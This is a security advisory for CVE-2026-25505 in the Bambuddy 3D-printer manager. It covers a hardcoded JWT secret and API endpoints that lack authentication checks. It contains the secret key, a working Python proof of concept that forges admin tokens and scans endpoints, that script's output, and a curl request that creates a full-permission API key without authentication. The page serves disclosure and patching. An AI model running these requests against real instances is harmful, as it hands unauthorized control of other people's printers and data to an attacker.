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CVE-2026-25505

Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication

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CVE-2026-25505

Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication

Summary

A hardcoded secret key used for signing JWTs is checked into source code
ManyAPI routes do not check authentication

Details

I am using the publicly available docker image at ghcr.io/maziggy/bambuddy

1. Hardcoded JWT Secret Key

https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28

<summary>Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key</summary>

</details>

Any attacker can:

Forge valid JWT tokens for any user
Bypass authentication entirely
Gain full administrative access to any Bambuddy instance using the default key

Steps to Reproduce:

Run an instance of BamBuddy
Create admin user
Forge and use JWT:

import jwt
import requests
token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256")
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...

2. Most API Routes do not check Auth

While investigating the JWT forgery, I noticed that requests without Authorization headers still returned information for many endpoints:

resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...

Full Script and Output

Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.

<summary>Script to test GET endpoints with forged JWT and without any auth</summary>

#!/usr/bin/env python3
"""
Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)
For security research purposes only.
Tests all GET endpoints to identify which are accessible without authentication.
"""
import requests
import jwt
## Hardcoded secret from backend/app/core/auth.py:28
HARDCODED_SECRET = "bambuddy-secret-key-change-in-production"
TARGET = "http://10.0.0.4:8000"
API_PREFIX = "/api/v1"
## All GET endpoints organized by router
ENDPOINTS = {
    "system": [
        "/system/info",
    ],
    "auth": [
        "/auth/status",
        "/auth/me",
    ],
    "users": [
        "/users",
        "/users/1",
        "/users/1/items-count",
    ],
    "groups": [
        "/groups",
        "/groups/permissions",
        "/groups/1",
    ],
    "settings": [
        "/settings",
        "/settings/check-ffmpeg",
        "/settings/spoolman",
        "/settings/backup",
        "/settings/virtual-printer/models",
        "/settings/virtual-printer",
        "/settings/mqtt/status",
    ],
    "printers": [
        "/printers/",
        "/printers/usb-cameras",
        "/printers/1",
        "/printers/1/status",
        "/printers/1/current-print-user",
        "/printers/1/cover",
        "/printers/1/files",
        "/printers/1/storage",
        "/printers/1/logging",
        "/printers/1/slot-presets",
        "/printers/1/slot-presets/1/1",
        "/printers/1/print/objects",
        "/printers/1/runtime-debug",
        "/printers/1/camera/status",
        "/printers/1/camera/test",
        "/printers/1/camera/plate-detection/status",
        "/printers/1/camera/plate-detection/references",
        "/printers/1/kprofiles/",
        "/printers/1/kprofiles/notes",
    ],
    "archives": [
        "/archives/",
        "/archives/search",
        "/archives/compare",
        "/archives/analysis/failures",
        "/archives/stats",
        "/archives/tags",
        "/archives/1",
        "/archives/1/similar",
        "/archives/1/duplicates",
        "/archives/1/capabilities",
        "/archives/1/gcode",
        "/archives/1/plates",
        "/archives/1/filament-requirements",
        "/archives/1/project-page",
        "/archives/1/source",
    ],
    "filaments": [
        "/filaments/",
        "/filaments/1",
        "/filaments/by-type/pla",
    ],
    "cloud": [
        "/cloud/status",
        "/cloud/settings",
        "/cloud/settings/1",
        "/cloud/devices",
        "/cloud/firmware-updates",
        "/cloud/fields",
        "/cloud/fields/print",
    ],
    "queue": [
        "/queue/",
        "/queue/1",
    ],
    "notifications": [
        "/notifications/",
        "/notifications/logs",
        "/notifications/logs/stats",
        "/notifications/1",
    ],
    "notification_templates": [
        "/notification-templates",
        "/notification-templates/variables",
        "/notification-templates/1",
    ],
    "updates": [
        "/updates/version",
        "/updates/check",
        "/updates/status",
    ],
    "maintenance": [
        "/maintenance/types",
        "/maintenance/overview",
        "/maintenance/summary",
        "/maintenance/printers/1",
        "/maintenance/items/1/history",
    ],
    "external_links": [
        "/external-links/",
        "/external-links/1",
    ],
    "projects": [
        "/projects",
        "/projects/templates",
        "/projects/1",
        "/projects/1/archives",
        "/projects/1/queue",
        "/projects/1/bom",
        "/projects/1/timeline",
    ],
    "library": [
        "/library/folders",
        "/library/folders/by-archive/1",
        "/library/folders/by-project/1",
        "/library/files",
        "/library/stats",
        "/library/folders/1",
        "/library/files/1",
        "/library/files/1/plates",
        "/library/files/1/gcode",
        "/library/files/1/filament-requirements",
    ],
    "api_keys": [
        "/api-keys/",
        "/api-keys/1",
    ],
    "webhook": [
        "/webhook/printer/1/status",
        "/webhook/queue",
    ],
    "ams_history": [
        "/ams-history/1/1",
    ],
    "support": [
        "/support/debug-logging",
        "/support/logs",
    ],
    "discovery": [
        "/discovery/info",
        "/discovery/status",
        "/discovery/printers",
        "/discovery/scan/status",
    ],
    "pending_uploads": [
        "/pending-uploads/",
        "/pending-uploads/count",
        "/pending-uploads/1",
    ],
    "firmware": [
        "/firmware/updates",
        "/firmware/updates/1",
        "/firmware/latest",
    ],
    "github_backup": [
        "/github-backup/config",
        "/github-backup/status",
        "/github-backup/logs",
    ],
    "metrics": [
        "/metrics",
    ],
}

def forge_token():
    """Forge a valid JWT token using the hardcoded secret."""
    payload = {"sub": "admin", "exp": 9999999999}
    return jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256")

def test_endpoint(endpoint, headers):
    """Test a single endpoint and return status."""
    try:
        resp = requests.get(f"{TARGET}{API_PREFIX}{endpoint}", headers=headers, timeout=5)
        return resp.status_code, resp.text[:100] if resp.status_code == 200 else None
    except requests.RequestException as e:
        return "ERROR", str(e)[:50]

def main():
    token = forge_token()
    print(f"[*] Forged JWT token:\n    {token}\n")
    # Test with no auth, then with forged JWT
    test_modes = [
        ("NO AUTH", {}),
        ("FORGED JWT", {"Authorization": f"Bearer {token}"}),
    ]
    results = {"no_auth": [], "jwt_only": [], "both_fail": []}
    print(f"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\n")
    print("=" * 70)
    for category, endpoints in ENDPOINTS.items():
        print(f"\n[{category.upper()}]")
        for endpoint in endpoints:
            no_auth_status, _ = test_endpoint(endpoint, {})
            jwt_status, preview = test_endpoint(endpoint, {"Authorization": f"Bearer {token}"})
            if no_auth_status == 200:
                results["no_auth"].append(endpoint)
                print(f"  {endpoint}: NO AUTH REQUIRED")
            elif jwt_status == 200:
                results["jwt_only"].append(endpoint)
                print(f"  {endpoint}: JWT WORKS")
            else:
                results["both_fail"].append((endpoint, no_auth_status, jwt_status))
                print(f"  {endpoint}: {no_auth_status} / {jwt_status}")
    # Summary
    print("\n" + "=" * 70)
    print("\n[SUMMARY]\n")
    print(f"Endpoints accessible WITHOUT authentication ({len(results['no_auth'])}):")
    for ep in results["no_auth"]:
        print(f"  - {ep}")
    print(f"\nEndpoints accessible with FORGED JWT only ({len(results['jwt_only'])}):")
    for ep in results["jwt_only"]:
        print(f"  - {ep}")
    print(f"\nEndpoints that rejected both ({len(results['both_fail'])}):")
    for ep, no_auth, jwt_auth in results["both_fail"]:
        print(f"  - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})")

if __name__ == "__main__":
    main()

</details>

<summary>Script output</summary>

[*] Forged JWT token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA
[*] Testing 117 endpoints against http://10.0.0.4:8000
======================================================================
[SYSTEM]
  /system/info: NO AUTH REQUIRED
[AUTH]
  /auth/status: NO AUTH REQUIRED
  /auth/me: JWT WORKS
[USERS]
  /users: JWT WORKS
  /users/1: JWT WORKS
  /users/1/items-count: JWT WORKS
[GROUPS]
  /groups: JWT WORKS
  /groups/permissions: JWT WORKS
  /groups/1: JWT WORKS
[SETTINGS]
  /settings: NO AUTH REQUIRED
  /settings/check-ffmpeg: NO AUTH REQUIRED
  /settings/spoolman: NO AUTH REQUIRED
  /settings/backup: NO AUTH REQUIRED
  /settings/virtual-printer/models: NO AUTH REQUIRED
  /settings/virtual-printer: NO AUTH REQUIRED
  /settings/mqtt/status: NO AUTH REQUIRED
[PRINTERS]
  /printers/: JWT WORKS
  /printers/usb-cameras: JWT WORKS
  /printers/1: JWT WORKS
  /printers/1/status: JWT WORKS
  /printers/1/current-print-user: JWT WORKS
  /printers/1/cover: JWT WORKS
  /printers/1/files: JWT WORKS
  /printers/1/storage: JWT WORKS
  /printers/1/logging: JWT WORKS
  /printers/1/slot-presets: JWT WORKS
  /printers/1/slot-presets/1/1: JWT WORKS
  /printers/1/print/objects: JWT WORKS
  /printers/1/runtime-debug: JWT WORKS
  /printers/1/camera/status: NO AUTH REQUIRED
  /printers/1/camera/test: ERROR / ERROR
  /printers/1/camera/plate-detection/status: NO AUTH REQUIRED
  /printers/1/camera/plate-detection/references: NO AUTH REQUIRED
  /printers/1/kprofiles/: ERROR / ERROR
  /printers/1/kprofiles/notes: NO AUTH REQUIRED
[ARCHIVES]
  /archives/: NO AUTH REQUIRED
  /archives/search: 422 / 422
  /archives/compare: 422 / 422
  /archives/analysis/failures: NO AUTH REQUIRED
  /archives/stats: NO AUTH REQUIRED
  /archives/tags: NO AUTH REQUIRED
  /archives/1: NO AUTH REQUIRED
  /archives/1/similar: NO AUTH REQUIRED
  /archives/1/duplicates: NO AUTH REQUIRED
  /archives/1/capabilities: NO AUTH REQUIRED
  /archives/1/gcode: NO AUTH REQUIRED
  /archives/1/plates: NO AUTH REQUIRED
  /archives/1/filament-requirements: NO AUTH REQUIRED
  /archives/1/project-page: NO AUTH REQUIRED
  /archives/1/source: 404 / 404
[FILAMENTS]
  /filaments/: NO AUTH REQUIRED
  /filaments/1: NO AUTH REQUIRED
  /filaments/by-type/pla: NO AUTH REQUIRED
[CLOUD]
  /cloud/status: NO AUTH REQUIRED
  /cloud/settings: 401 / 401
  /cloud/settings/1: 401 / 401
  /cloud/devices: 401 / 401
  /cloud/firmware-updates: 401 / 401
  /cloud/fields: NO AUTH REQUIRED
  /cloud/fields/print: NO AUTH REQUIRED
[QUEUE]
  /queue/: NO AUTH REQUIRED
  /queue/1: 404 / 404
[NOTIFICATIONS]
  /notifications/: NO AUTH REQUIRED
  /notifications/logs: NO AUTH REQUIRED
  /notifications/logs/stats: NO AUTH REQUIRED
  /notifications/1: 404 / 404
[NOTIFICATION_TEMPLATES]
  /notification-templates: NO AUTH REQUIRED
  /notification-templates/variables: NO AUTH REQUIRED
  /notification-templates/1: NO AUTH REQUIRED
[UPDATES]
  /updates/version: NO AUTH REQUIRED
  /updates/check: NO AUTH REQUIRED
  /updates/status: NO AUTH REQUIRED
[MAINTENANCE]
  /maintenance/types: NO AUTH REQUIRED
  /maintenance/overview: NO AUTH REQUIRED
  /maintenance/summary: NO AUTH REQUIRED
  /maintenance/printers/1: NO AUTH REQUIRED
  /maintenance/items/1/history: NO AUTH REQUIRED
[EXTERNAL_LINKS]
  /external-links/: NO AUTH REQUIRED
  /external-links/1: 404 / 404
[PROJECTS]
  /projects: NO AUTH REQUIRED
  /projects/templates: NO AUTH REQUIRED
  /projects/1: NO AUTH REQUIRED
  /projects/1/archives: NO AUTH REQUIRED
  /projects/1/queue: NO AUTH REQUIRED
  /projects/1/bom: NO AUTH REQUIRED
  /projects/1/timeline: NO AUTH REQUIRED
[LIBRARY]
  /library/folders: NO AUTH REQUIRED
  /library/folders/by-archive/1: NO AUTH REQUIRED
  /library/folders/by-project/1: NO AUTH REQUIRED
  /library/files: NO AUTH REQUIRED
  /library/stats: NO AUTH REQUIRED
  /library/folders/1: NO AUTH REQUIRED
  /library/files/1: 404 / 404
  /library/files/1/plates: 404 / 404
  /library/files/1/gcode: 404 / 404
  /library/files/1/filament-requirements: 404 / 404
[API_KEYS]
  /api-keys/: NO AUTH REQUIRED
  /api-keys/1: NO AUTH REQUIRED
[WEBHOOK]
  /webhook/printer/1/status: 401 / 401
  /webhook/queue: 401 / 401
[AMS_HISTORY]
  /ams-history/1/1: NO AUTH REQUIRED
[SUPPORT]
  /support/debug-logging: NO AUTH REQUIRED
  /support/logs: NO AUTH REQUIRED
[DISCOVERY]
  /discovery/info: NO AUTH REQUIRED
  /discovery/status: NO AUTH REQUIRED
  /discovery/printers: NO AUTH REQUIRED
  /discovery/scan/status: NO AUTH REQUIRED
[PENDING_UPLOADS]
  /pending-uploads/: NO AUTH REQUIRED
  /pending-uploads/count: NO AUTH REQUIRED
  /pending-uploads/1: 404 / 404
[FIRMWARE]
  /firmware/updates: NO AUTH REQUIRED
  /firmware/updates/1: NO AUTH REQUIRED
  /firmware/latest: NO AUTH REQUIRED
[GITHUB_BACKUP]
  /github-backup/config: NO AUTH REQUIRED
  /github-backup/status: NO AUTH REQUIRED
  /github-backup/logs: NO AUTH REQUIRED
[METRICS]
  /metrics: 401 / 401
======================================================================
[SUMMARY]
Endpoints accessible WITHOUT authentication (77):
  - /system/info
  - /auth/status
  - /settings
  - /settings/check-ffmpeg
  - /settings/spoolman
  - /settings/backup
  - /settings/virtual-printer/models
  - /settings/virtual-printer
  - /settings/mqtt/status
  - /printers/1/camera/status
  - /printers/1/camera/plate-detection/status
  - /printers/1/camera/plate-detection/references
  - /printers/1/kprofiles/notes
  - /archives/
  - /archives/analysis/failures
  - /archives/stats
  - /archives/tags
  - /archives/1
  - /archives/1/similar
  - /archives/1/duplicates
  - /archives/1/capabilities
  - /archives/1/gcode
  - /archives/1/plates
  - /archives/1/filament-requirements
  - /archives/1/project-page
  - /filaments/
  - /filaments/1
  - /filaments/by-type/pla
  - /cloud/status
  - /cloud/fields
  - /cloud/fields/print
  - /queue/
  - /notifications/
  - /notifications/logs
  - /notifications/logs/stats
  - /notification-templates
  - /notification-templates/variables
  - /notification-templates/1
  - /updates/version
  - /updates/check
  - /updates/status
  - /maintenance/types
  - /maintenance/overview
  - /maintenance/summary
  - /maintenance/printers/1
  - /maintenance/items/1/history
  - /external-links/
  - /projects
  - /projects/templates
  - /projects/1
  - /projects/1/archives
  - /projects/1/queue
  - /projects/1/bom
  - /projects/1/timeline
  - /library/folders
  - /library/folders/by-archive/1
  - /library/folders/by-project/1
  - /library/files
  - /library/stats
  - /library/folders/1
  - /api-keys/
  - /api-keys/1
  - /ams-history/1/1
  - /support/debug-logging
  - /support/logs
  - /discovery/info
  - /discovery/status
  - /discovery/printers
  - /discovery/scan/status
  - /pending-uploads/
  - /pending-uploads/count
  - /firmware/updates
  - /firmware/updates/1
  - /firmware/latest
  - /github-backup/config
  - /github-backup/status
  - /github-backup/logs
Endpoints accessible with FORGED JWT only (20):
  - /auth/me
  - /users
  - /users/1
  - /users/1/items-count
  - /groups
  - /groups/permissions
  - /groups/1
  - /printers/
  - /printers/usb-cameras
  - /printers/1
  - /printers/1/status
  - /printers/1/current-print-user
  - /printers/1/cover
  - /printers/1/files
  - /printers/1/storage
  - /printers/1/logging
  - /printers/1/slot-presets
  - /printers/1/slot-presets/1/1
  - /printers/1/print/objects
  - /printers/1/runtime-debug
Endpoints that rejected both (20):
  - /printers/1/camera/test (no_auth: ERROR, jwt: ERROR)
  - /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR)
  - /archives/search (no_auth: 422, jwt: 422)
  - /archives/compare (no_auth: 422, jwt: 422)
  - /archives/1/source (no_auth: 404, jwt: 404)
  - /cloud/settings (no_auth: 401, jwt: 401)
  - /cloud/settings/1 (no_auth: 401, jwt: 401)
  - /cloud/devices (no_auth: 401, jwt: 401)
  - /cloud/firmware-updates (no_auth: 401, jwt: 401)
  - /queue/1 (no_auth: 404, jwt: 404)
  - /notifications/1 (no_auth: 404, jwt: 404)
  - /external-links/1 (no_auth: 404, jwt: 404)
  - /library/files/1 (no_auth: 404, jwt: 404)
  - /library/files/1/plates (no_auth: 404, jwt: 404)
  - /library/files/1/gcode (no_auth: 404, jwt: 404)
  - /library/files/1/filament-requirements (no_auth: 404, jwt: 404)
  - /webhook/printer/1/status (no_auth: 401, jwt: 401)
  - /webhook/queue (no_auth: 401, jwt: 401)
  - /pending-uploads/1 (no_auth: 404, jwt: 404)
  - /metrics (no_auth: 401, jwt: 401)

</details>

While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested POST /api/v1/api-keys/ and was able to create a new API key with all permissions without auth:

curl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"new key","can_queue":true,"can_control_printer":true,"can_read_status":true}'

yields

{"id":7,"name":"new key","key_prefix":"bb_QW2su...","can_queue":true,"can_control_printer":true,"can_read_status":true,"printer_ids":null,"enabled":true,"last_used":null,"created_at":"2026-02-01T23:14:15","expires_at":null,"key":"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"}

Impact

BamBuddy is vulnerable to unauthorized access and control

Package Versions Affected

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CVSS Version

9.8

3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Related Resources

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References

https://github.com/maziggy/bambuddy/security/advisories/GHSA-gc24-px2r-5qmf, https://nvd.nist.gov/vuln/detail/CVE-2026-25505, https://github.com/maziggy/bambuddy/pull/225, https://github.com/maziggy/bambuddy/commit/a82f9278d2d587b7042a0858aab79fd8b6e3add9, https://github.com/maziggy/bambuddy/commit/c31f2968889c855f1ffacb700c2c9970deb2a6fb, https://github.com/maziggy/bambuddy, https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28, https://github.com/maziggy/bambuddy/blob/main/CHANGELOG.md, https://github.com/maziggy/bambuddy/releases/tag/v0.1.7

Severity

9.8

CVSS Score

Basic Information

Ecosystem

Base CVSS

9.8

EPSS Probability

0.00108%

EPSS Percentile

0.29263%

Introduced Version

Fix Available

0.1.7

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CVE-2026-25505

CVE-2026-25505

Summary

Details

1. Hardcoded JWT Secret Key

2. Most API Routes do not check Auth

Full Script and Output

Impact

Package Versions Affected

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CVSS Version

Related Resources

References

Severity

9.8

Basic Information

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